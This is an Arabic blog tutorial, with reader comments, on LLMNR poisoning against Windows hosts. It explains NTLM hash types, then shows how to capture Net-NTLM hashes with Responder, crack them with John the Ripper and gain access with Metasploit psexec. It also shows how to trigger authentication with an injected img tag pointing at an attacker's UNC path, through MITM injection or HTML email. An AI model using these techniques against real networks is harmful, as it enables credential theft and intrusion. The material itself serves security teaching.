مقال : أختراق كل نظام ويندوز علي الشبكه – الجزء الأول (LLMNR poisoning)
تقيمك :السلام عليكم ورحمه الله أعزائي القراء وأعتذر علي الغيبه الطويله ولكن بأذن الله عودا حميد.
هدف هذه السلسله هو التوضيح لك مدي سهوله أختراق أنظمه الويندوز أذا كان الجهاز الهدف معك علي نفس الشبكه وسنعتمد في شروحاتنا هذه علي بعض التكنيكات المتقدمه والغير متقدمه للتلاعب بـالـProtocols الخاصه بالتواصل بين انظمه الويندوز وبعضها داخل الشبكه والذي من المفترض أنك كـمختبر أختراق محترف علي علم ببعضها لكن أعدك أن في هذه السلسله ستتفاجئ ببعض المعلومات التي لم تكن تعلمها 😀 .
سنبدأ في هذا المقال بشرح وتطبيق هجوم الـLLMNR poisoning للحصول علي باسورد المستخدم ومن ثم أختراقه ولكن قبل أن نبدأ يجب وضع النقط علي الحروف كما يقال حتي أتأكد بأنك ستكون علي علم بكافه المصطلحات التي ستقال في هذا المقال.
ماذا تعني المصطلحات LM ,Net-NTLMv1/v2,NTLM ؟
LM
هو نوع من أنواع الهاش وهو أقدم وأول نوع بدأ أستخدامه في أنظمه الويندوز لتخزين الكلمات السريه وتم أيقافه (لكنه مازال موجود) مع صدور Windows Vista بسبب ضعفه وسهوله كسره ولكن كما لاحظت أنت الأن ستجده علي أصدارات ويندوز XP وهذه نقطه سنعود لها لكن ليس الأن.
NTHash أو NTLM
هو نوع الهاش الذي يستخدم علي أصدارات الويندوز الحاليه لتخزين الكلمات السريه وتستطيع أن تستخرجه من ملف الـSAM أو بأستخدام أداه Mimikatz ويطلق عليه في الغالب NTLM فقط وهو مايسبب أختلاط المسميات دوما بينه وبين بروتوكول الـNTLM ولذلك يفضل تسميته بالـNTHash وهذا هو ما يبدو عليه :
1 |
b4b9b02e6f09a9bd760f388b67351e2b |
وللعلم الخوارزمية المستخدم لتكوينه هو
1 |
MD4(UTF-16-LE(password)) |
Net-NTLMv1/v2 أو NTLMv1/v2
هو البروتوكول المسئول بنفسه 😀 وهو يعمل عن طريق أنه يأخذ هاش الـNTHash ويستخدمه في أنشاء أتصال عن طريق خوارزمية challenge/response بين الطرفين والذي هو يكون كالأتي (بفرض أن الطرف الأول يود تسجيل الدخول للطرف التاني) :
الطرف الثاني يرسل سؤال أو تحدي للطرف الأول عباره عن رساله عشوائيه والمفترض أن يشفره بأستخدام الـNTHash الخاص به فيقوم الطرف الأول بتشفير التحدي وأرساله مع الـNTHash الخاص به فيكون الرد علي الشكل الأتي :
1 |
u4-netntlm::kNS:338d08f8e26de93300000000000000000000000000000000:9526fb8c23a90751cdd619b6cea564742e1e4bf33006ba41:cb8086049ec4736c |
الأن يقوم السيرفر أو الطرف الثاني بفك التشفير بأستخدام هاش كلمه السر او الـNTHash الخاص بالطرف الأول والذي أرسله له في الرد واذا كان الناتج بعد فك التشفير هو التحدي الذي ارسله له في البدايه فا يقوم بالسماح له بالأتصال وهذه صوره للتوضيح :
الفرق بين NTLMv1 و NTLMv2
بروتوكول NTLMv2 هو تحديث NTLMv1 وهو الذي سبق شرحه ويستخدم بشكل أفتراضي في أصدارات الويندوز بدايه من أصدار 2000 وهو يعمل بنفس مبدأ وطريقه NTLMv1 كما شرحنا لكن الفرق في أن التشفير أقوي والرد مختلف فشكل الرد يكون :
1 |
admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030 |
والفرق بين طريقه التشفير في كل واحد من باب العلم بالشئ هو
NTLMv1
1 2 3 |
C = 8-byte server challenge, random K1 | K2 | K3 = LM/NT-hash | 5-bytes-0 response = DES(K1,C) | DES(K2,C) | DES(K3,C) |
NTLMv2
1 2 3 4 5 6 7 |
SC = 8-byte server challenge, random CC = 8-byte client challenge, random CC* = (X, time, CC2, domain name) v2-Hash = HMAC-MD5(NT-Hash, user name, domain name) LMv2 = HMAC-MD5(v2-Hash, SC, CC) NTv2 = HMAC-MD5(v2-Hash, SC, CC*) response = LMv2 | CC | NTv2 | CC* |
والأن مقارنه بين هاشات الـNTLM أو الـNTHash والـNet-NTLM من السابق شرحه ولكن هذه المره من الناحيه الأمنيه التي تهمنا كمختبرين أختراق
- الـNTLM Hash تستطيع أستخدامها في هجمات Pass-the-hash ولكن الـNet-NTLM hashes لا تستطيع أستخدامها فيها
- الأثنين تستطيع أن تنفذ عليهم هجمات الـBruteForcing و الـDictionary attacks لتأتي بكلمه السر ولكن…
- بدايه من ويندوز 8.1 لا تستطيع أن تأتي بكلمه السر من هاش الـNTLM بأستخدام أداه Mimikatz ولكن تستطيع بنفس الأداه من خلال ذاكره الجهاز أن تأتي بالهاش ثم تنفذ هجوم Pass-the-hash
- مع أنك لا تستطيع أن تستخدم الـNet-NTLM hash في هجوم Pass-the-hash ولكنك تستطيع أن تستخدمه في هجوم الـsmb relay وتخترق الأجهزه الأخري الموجوده داخل الشبكه في دقائق وهو الذي لا تستطيع أن تفعله بأستخدام الـNTHash وسوف نتناول هذا الهجوم وشرحه والتطبيق بالتفصيل في المقال القادم 😀
(ملحوظه : كل الهاشات التي ذكرت بالأعلي هي من صفحه الأمثله علي موقع hashcat واذا أردت فهم طريقه عمل الـNTLM بالتفصيل أكثر فصفحه wikipedia قامت بشرح أكثر من رائع لها )
والأن ماهو برتوكول الـLLMNR ؟
هو أختصار لـLink-Local Multicast Name Resolution وهو عمله يتلخص في عده أشياء أهمها عمل name resolution للأجهزه داخل الشبكه عندما لا يعلم الـDNS Server الأجابه وشكل الـPacket مبني علي شكل باكت الـDNS Query ،أعلم أعلم أنك لم تفهم شئ فلنبسط الأمور قليلا 😀
مثال عندما تكتب عنوان هوست محدد داخل الشبكه يقوم المتصفح بسؤال الـDNS server الموجود في أعدادات الجهاز عن الـIP الخاص به فعندما لا يعلم الأجابه فهنا يأتي دور الـLLMNR Protocol فيقوم بعمل Multicast أو بث لكل الأجهزه التي علي الشبكه يسألهم فيها هل يعرف احد هذا الجهاز فيجيب عليه أحد الأجهزه علي الشبكه ويقول هو فلان أو يجيب الهوست نفسه أذا كان علي نفس الشبكه ويقول هذا أنا!
حتي الأن لا يوجد مشكله صحيح ؟ لكن من الناحيه الأمنيه ؟ *أيموجي ضحكه شريره*
أستغلال الـLLMNR لصالحنا
وليكن السيناريو كالتالي لكي يتضح الأمر أن لم تتخيله بعد :
- الهدف يحاول الدخول علي الطابعه التي بداخل الشبكه والتي الهوست نيم الخاص بها لنفرض printer اذا المفترض انه سيقوم بكتابه //printer
- الهدف يقع في خطأ أملائي وهي يكتب فيقول له الـDNS Server أنه لا يعرف هذا الهوست
- يقوم جهاز الهدف الأن بعمل Multicast يسأل الأجهزه التي بالشبكه هل يعرف أحد هذا الهوست
- يقوم المهاجم بالأجابه عليه فيقول نعم هذا أنا ! والأن اذا تريد الأتصال بي قم بتشفير هذا التحدي بهاش كلمه السر الخاصه بيك (كما شرحنا)
- يقوم جهاز الهدف بالرد بالـNet-NTLM hash (والذي هو الرد كما شرحنا من قبل)
- يقوم المهاجم بحفظ الهاش ثم يقطع الأتصال 😀
هذا هو مايسمي بهجوم الـLLMNR Poisoning والأن كيف نقوم به ؟
هناك العديد من الأدوات التي تمكنا من تنفيذه وحتي أنه يوجد موديولز خاصه به علي فريم ورك Metasploit (auxiliary/spoof/llmnr/llmnr_response) ولكننا سنستخدم أداه Responder بسبب قوتها وسهوله أستخدامها ولأننا بشكل أو بأخر سنحتاجها في المقالات القادمه
تستطيع أن تحملها من هنا وتثبتها بالطريقه التقليديه أن لم تكن لديك من الأساس والأن نقوم بتعديل ملف Responder.conf لنوقف الـHTTP Server بضبط المتغير لـOff بدل On حتي نضمن أنه لن يحصل تداخل ونحصل علي الهاش بسبب شئ أخر 😉 (سنوضحه بعد قليل) وستجد هذا الملف بداخل المسار
1 |
/etc/responder/Responder.conf |
فيكون شكل بدايه الملف كالتالي :
الأن سنقوم بتشغيل الأداه عن طريق الأمر :
1 |
responder -I wlan0 -wv |
وتستبدل wlan0 بالـinterface التي أنت والهدف عليها والأن لنلعب 😀
الهدف هذه المره هو ويندوز 7
كما تري هذا ويندوز 7 الهدف والأداه تعمل بالخلفيه.
الأن كل المطلوب هو الأنتظار حتي يحاول الجهاز الهدف الدخول علي جهاز أخر داخل الشبكه غير موجود أو أي شئ مثل هذا
ولمحاكاه هذا سأكتب أي أسم جهاز عشوائي للدخول عليه وتستطيع عمل هذا بكتابه \\ ومن ثم أسم عشوائي سواء داخل الـexplorer الخاص بالملفات أو حتي داخل متصفح الـInternet Explorer وأنا عن نفسي سأكتبه داخل Run ومن ثم ستجد أداه Responder تخبرك بأن الجهاز الهدف يعمل Multicast وتأتي بالهاش كما شرحنا فيكون الأمر بالشكل الأتي
كما تري في جهاز الهدف ظهر خطأ أما نحن لدينا الأن كل مانريده 😀
أداه responder تقوم بعمل ملف لكل جهاز تلتقط منه شئ وتحفظ فيه المعلومات المهمه وهي الملفات ستجدها داخل المسار
1 |
/usr/share/responder/logs |
فنقوم بعرض الملف فنجد الهاشات كالأتي
الأن سنقوم بعمل crack للهاش لنأتي بكلمه السر وسنستخدم أداه John The Ripper لهذا كالأتي
كما نري كلمه السر هي 1234567890 واليوزر اذا لم تلاحظ من قبل هو win7lab والأن نستطيع أن نستخدم موديول psexec من فريم ورك metasploit لأختراق الجهاز ومع أنه أمر سهل بعد الأتيان بكلمه السر ولكن سأوضحه هذه المره لمن لا يعلمون.
نفتح الميتاسبوليت ونكتب الأوامر المعتاده ولكن بما أن صوره أفضل من ألف كلمه فهذا ما ستفعله
لا ، لن أقول “تم أختراق الهدف بنجاح” 😀
الأن كما تري الطريقه سهله ولا تحتاج أن تتواصل مع المستخدم بأي طريقه لكن المشكله الوحيده أنك ستضطر أن تنتظر المستخدم أن يخطأ في كتابه أي Host Name هو يدخل عليه والذي ليس يحدث كثيرا في الشبكات العاديه والمستخدمين العاديين لكن بداخل شبكه شركه أو داخل سايبر/مقهي/كافيه أو أي مكان المستخدمين يشاركون فيه الملفات بينهم وبين بعض ستري هذا يحدث.
ولكن أن كنت في شبكه عاديه في الغالب هذه الطريقه لن تكون ذات جدوي في بهذا الشكل ،أذا هي تحتاج بعض التطوير 😀
هذا التطوير يرجع لتفكيرك خارج الصندوق كما يقال فكلما كانت أبداعيه أكثر خرجت بطرق أكثر والأن سأقول لك أن تطويرات للهجوم حتي لا تنتظر المستخدم يخطأ.
كما تري الفكره كلها في الـAuthenticate لذلك نحن نحتاج أن يجعل المستخدم يتصل بنا تلقائيا فعلي سبيل المثال تستطيع أن تنشئ صفحه html وتضع بها تاج img الخاص بالصور وتضع السورس هو صوره من علي جهازك سواء كانت موجوده أو لا ،أي جهاز سيفتح هذه الصفحه سيتصل بجهازك(في أكثر الحالات) .
1 |
<img src="\\ip\image.jpg"> |
تطبيق عملي سريع 😀
كما تري الأمر أصبح أسهل ولكن هنا تحولت الي مشكله أنك تحتاج أن تجعل المستخدم يفتح الصفحه فأصبحت تحتاج الأن الي تدخل من المستخدم لكن أذا كنت تري الأمر هكذا فأنت لم تفهم الفكره بعد :3
أستخدم سكربت LANs.py أو أداه Bettercap أو أي اداه تتيح لك بتنفيذ هجوم MITM وحقن أكواد HTML داخل الـTraffic الخاصه بالهدف فنقوم فحقن تاج الـimg فنحصل علي نفس النتيجه بدون أي تدخل من المستخدم مجرد أنه يتصفح فقط ! 😀
الأن كل هذا كما تري داخل الشبكه فهل توجد طريقه أحصل بها علي الـNTLM hashes من خارج الشبكه ؟ 😀
نعم هناك والعديد من الشركات والخبراء الأمنين حذروا من الهجمات المماثله لكن هذا سيكون موضوع مقاله أخري في هذه السلسله سنتكلم فيها عن العديد من الخدع التي نستطيع عمل هذا بها ولكن حتي وقتها هل تعلم أن كتابه رساله email بالـ html ووضع فيها تاج img السابق ذكره فعند فتح هذه الرساله من تطبيق الـOutlook ان الجهاز سيتصل بك كما حصل منذ قليل وتستلم أنت الهاش 😀 ؟ ولكن كتابه رساله html ليس سهل الأن فقليل من الخدمات أصبح يسمح لك بهذا ولكن هذا ليس موضوعنا الأن لنترك الحديث فيه وشرحه للمقاله الخاصه به 😀
والأن…
كنت أريد أن أشرح في هذا المقال أيضا كيف أن مجرد فتحك لمتصفح Internet Explorer يتسبب في أختراقك بدون فعل أو فتح أي صفحه لكن بما أن المقال أصبح طويلا كما ومعلوماتيا فنتركه للمقال القادم حيث أنه لا أستطيع أن أمر علي الأمر سريعا.
أتمني أن تكونوا أستفدتم من المقال وأراكم في المقالات القادمه وأعدكم أن ماقيل في هذه المقاله لا يقارن بما سيقال في باقي السلسله فهذه كانت مجرد مقدمه لازال هناك العديد من البرتوكولات وأستغلالها أجمل بكثير 😀

كريم, عمري 21 سنه, هاكر أخلاقي ومطور أجيد العديد من اللغات وأكثرهم أستخداما هى البايثون ومهتم بالعديد من المجالات المتعلقه بالحمايه وعلوم الكومبيوتر بشكل عام. لي العديد من الأدوات المعروفه مثل Dr0p1t ,QRLJacker ,Cr3dOv3r , One-Lin3r و PasteJacker فأنا أحب برمجه أدوات أختبار الأختراق وأكتشاف الثغرات الأمنيه بشكل عام وما الى ذلك.
التعليقات
mohsen
10 أبريل، 2018 الساعة 8:42 متسلم اخي كريم ع هذا المجهود ولكن لم لا تقوم بعمل فديو لكي يكون الموضوع عملي اجثر وشكرااااااا
كريم شعير
20 أبريل، 2018 الساعة 6:23 مقد أقوم بعمل مستقبلا ولكني أفضل الكتابه عندما يكون الموضوع مليئ بالتفاصيل والشرح وشكرا لك أخي محسن
zeyad
10 يناير، 2019 الساعة 7:19 مwhat the name of theis program any one answer please!!!!!!
nedal
11 أبريل، 2018 الساعة 12:42 صاستمرر
كريم شعير
20 أبريل، 2018 الساعة 6:25 مشكرا لك أخي نضال والجزء الثاني قادم في الطريق 😀
Otyfah
11 أبريل، 2018 الساعة 6:23 صجهد جبار بالمرررررة. شكرا لك على إثراء المحتوى العربي. وقليل منك
كريم شعير
20 أبريل، 2018 الساعة 6:25 مشكرا لك أخي Otyfah والجزء الثاني قادم في الطريق 😀
ahmed
11 أبريل، 2018 الساعة 5:35 ممقال مفيد ومشوق
وانت من اكثر الكتاب فى هذا المجتمع احب قراءه مقالاته
استمر
كريم شعير
20 أبريل، 2018 الساعة 6:27 مشكرا لك أخي أحمد ويسعدني سماعك تقول هذا ،والجزء القادم سيكون عند حسن ظنك بأذن الله ^_^
Adeeb
14 أبريل، 2018 الساعة 11:31 مشكرا لك على المقال الرائع
ولكن هل يمكن استخام هذه الطريقه على الوينىوز 10 ام ان الشرح محصور فقط على الوينىوز 7 بما انه يمكن الاتيان بكلمه السر من هاش الـNTLM
كريم شعير
20 أبريل، 2018 الساعة 6:29 منعم يمكن أن تطبق علي ويندوز 10 فا بروتوكول الـNTLM يستخدم تقريبا في كل عمليات الأتصال بين أجهزه الويندوز وبعضها وفك هاش الـNTLM يعتمد علي قوه كلمه السر
محسن
17 أبريل، 2018 الساعة 7:54 مشكرا لك
ولكن الموضوع بحاجه لشرح فيديو وطريقه الاختراق عبر الصفحه
كريم شعير
20 أبريل، 2018 الساعة 6:33 مللأسف ضيق الوقت هذه الأيام لا يساعد علي عمل فيديو ولكن سيكون هناك فيديوهات في بعض الشروحات القادمه بأذن الله وبالنسبه لطريقه الأختراق عبر الصفحه سيتم تناولها بالتفصيل أكثر بأذن الله في الأجزاء القادمه من السلسله
سرمد
18 أبريل، 2018 الساعة 8:39 ماستخدمتها على وندوز 10 ونجحت العملية
كريم شعير
20 أبريل، 2018 الساعة 6:35 مبالطبع عزيزي نجحت وسيتم التطبيق علي ويندوز 10 في بعض الأجزاء القادمه أيضا بأذن الله
محسن
19 أبريل، 2018 الساعة 9:29 صاتمنى من الخبراء الاجابه على الاسئله التي طرحت من قبل متابعي الموضوع ولدي ايضا اسئله وهي :
– هل تنفع هذه الطريقه لاختراق مافوق وندوز 7 ؟
ثانيا نستطيع الحصول على الهاش عبر الصفحه التي تحوي تاج الـimg ولكن فقط عبر متصفح انترنت اكسبلورر فقط وتمت التجربه على قوقل كروم وفايرفوكس ولم تعمل الطريقه هل من حل لجعلها تعمل مع كل المتصفحات ؟
مع شكري لكم
كريم شعير
20 أبريل، 2018 الساعة 6:43 م– نعم تعمل فا بروتوكول الـNTLM يستخدم تقريبا في كل عمليات الأتصال بين أجهزه الويندوز وبعضها مع أختلاف أصدار الويندوز
– نعم معظم المتصفحات الان أصبحت تحمي نفسها منها والعيب في طريقه عمل الـInternet explorer داخليا وسيكون هناك العديد من الأجزاء القادمه في هذه السلسله نتحدث بها عن عيوب هذا المتصفح وكيف تستخدم لمصلحتنا وقد تعمل ايضا علي متصفح Edge فطريقه عمله مقاربه للـInternet explorer
gamal kamel
21 أبريل، 2018 الساعة 6:20 ملاحظت استخدام اداه john لكسر الهاش وايجاد الباسوورد
هل نحن بحاجه لباسوورد لست اما ان الاداه مباشره تأتي بكلمه السر حتى لو كانت معقده مثلا test12SDe4Q54
كريم شعير
22 أبريل، 2018 الساعة 12:24 صلا يا أخي لقد أستخدمت أداه john لأن كلمه السر سهله حيث أنني أعرفها مسبقا بالطبع ولكن في حالات أخري نستخدم أدوات أقوي مثل أداه HashCat مع المود 5600 تقريبا.
توهامي
24 أبريل، 2018 الساعة 6:36 صموضوع شيق
مشكور ع المجهود واصل
محمد
25 أبريل، 2018 الساعة 10:06 ماريد ان اعرف هل تقم الاختراق عن طريق كالي لينكس ام الويندز
نخله
29 أبريل، 2018 الساعة 10:49 صشكرا للك على هذا الشرح والمجهود الكبير
عند تطبيق ما تم شرحه لم ليتم اعطا ء النتيجه
Anas
6 مايو، 2018 الساعة 8:01 محقيقتا، ما توقعت الوضع خطير الى هذه الدرجة، شكرا على عملك الرائع حقيقتا كل التسألات التي تخطر في البال أجبت عنها في الموضوع و المتعلق به.
برضو انت كاتب رائع طريقة سردك جميلة جدا تخلي الواحد يستمر بالقراءة. بتوفيق لك صديقي.
smsm
22 يونيو، 2018 الساعة 12:37 مهل لديك ايميل يمككني التواصل معك عليه؟
Abdalla
10 يوليو، 2018 الساعة 11:22 ممشكور طبعا على المجهود الكبير ده .. بس انا عندى مشكلتين
الاولى ان الجهاز المستهدف مش عامل باسورد للنظام اصلا ! فا انا بتخطى امر set smbpass وكبعملهوش اصلا تمام كده ؟؟
تانى مشكله لما بعمل exploit بيظهرلى الايرور ده ..
[*] Started HTTPS reverse handler on https://192.168.1.5:8443
[*] 192.168.1.4:445 – Connecting to the server…
[-] 192.168.1.4:445 – Exploit failed [unreachable]: Rex::ConnectionTimeout The connection timed out (192.168.1.4:445).
[*] Exploit completed, but no session was created.
Th3e-Crow
13 يوليو، 2018 الساعة 11:06 مGreat work brother
صالح
14 أغسطس، 2018 الساعة 3:47 صسلام عليكم استاذي هل يجل علي في هادي المرحلة استخدام نضام لينكس وشكر
Eslam Madany
16 أغسطس، 2018 الساعة 11:21 مرووووووووووووعه استمرررررر اخي فعلا هذا الاستغلال غير مدعوم عربيا كشرح مفصل مثل هذا
نجاح
3 أكتوبر، 2018 الساعة 3:20 ماخي العزيز لم افهم شئ ولكن قبل دليك يجب ان اضبط لغة البرمجة لكي اقوم بدلك
Mohamed
9 أكتوبر، 2018 الساعة 7:30 مموضوع رائع لدي عدة تساؤلات و اهتمام كبير بمجال الاختراق و الثغرات الامنية و لقد استفدت كثيرا من هذا الشرح
و كما قال الأخ smsm هل لديك ايمايل للتواصل اود طرح بعض الاسئلة
yusuf
8 فبراير، 2019 الساعة 12:06 صnice article
باسل
14 أبريل، 2019 الساعة 10:30 ماول شي مشكور جداً ..
بس لما نزل الأداه ما بلاقي فيا ملف تنصيب ( exe) وحتى المستعرض بيحذرني من اكمال التحميل . وبعد اكمال التحميل ما بلاقي ملف التنصيب
وشكراً مرة تانية